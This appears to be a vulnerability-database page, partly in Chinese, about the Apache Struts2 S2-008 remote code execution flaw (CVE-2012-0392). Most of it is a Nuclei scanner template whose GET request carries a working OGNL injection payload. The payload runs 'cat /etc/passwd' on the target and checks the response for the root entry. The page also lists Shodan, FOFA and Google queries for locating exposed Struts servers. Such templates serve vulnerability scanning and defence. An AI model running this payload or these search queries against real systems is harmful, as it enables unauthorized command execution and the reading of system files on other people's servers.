CVE-2012-0392: Apache Struts2 S2-008 RCE

日期: 2025-08-01 | 影响软件: Apache Struts2 | POC: 已公开

漏洞描述

The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.

PoC代码[已公开]

id: CVE-2012-0392

info:
  name: Apache Struts2 S2-008 RCE
  author: pikpikcu
  severity: medium
  description: The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution on the affected server.
  remediation: Developers should immediately upgrade to at least Struts 2.3.18.
  reference:
    - https://cwiki.apache.org/confluence/display/WW/S2-008 https://blog.csdn.net/weixin_43416469/article/details/113850545
    - http://www.exploit-db.com/exploits/18329
    - https://lists.immunityinc.com/pipermail/dailydave/2012-January/000011.html
    - http://web.archive.org/web/20150110183326/http://secunia.com:80/advisories/47393
    - http://struts.apache.org/2.x/docs/s2-008.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2012-0392
    cwe-id: NVD-CWE-noinfo
    epss-score: 0.91467
    epss-percentile: 0.99655
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve,cve2012,apache,rce,struts,java,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%2C@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()))"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100809c89437392a1f5422ea0b98ef981d31e94444a6ef48e567634c10a942a82500220363bd50c9a54f833ac66fbad83cec393b90137873d4583b4880653b45e72c819:922c64590222798bb761d5b6d8e72950

相关漏洞推荐